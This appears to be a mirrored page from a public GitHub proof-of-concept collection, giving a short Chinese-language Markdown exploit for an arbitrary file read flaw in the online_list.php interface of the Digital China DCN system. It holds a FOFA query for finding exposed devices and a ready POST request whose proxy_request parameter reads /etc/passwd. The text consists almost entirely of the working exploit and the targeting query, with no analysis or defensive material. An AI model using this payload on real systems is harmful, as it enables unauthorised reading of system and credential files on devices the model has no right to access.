mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 02:46:33 +00:00
21 lines
473 B
Markdown
21 lines
473 B
Markdown
|
# 神州数码DCN系统接口online_list.php存在任意文件读取漏洞
|
||
|
|
|
||
|
|
神州数码DCN系统接口online_list.php存在任意文件读取漏洞
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
body="style/blue/css/dcn_ui.css"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
POST /function/auth/user/online_list.php HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
|
||
|
|
proxy_request=/etc/passwd
|
||
|
|
```
|
||
|
|
|
||
|
|
|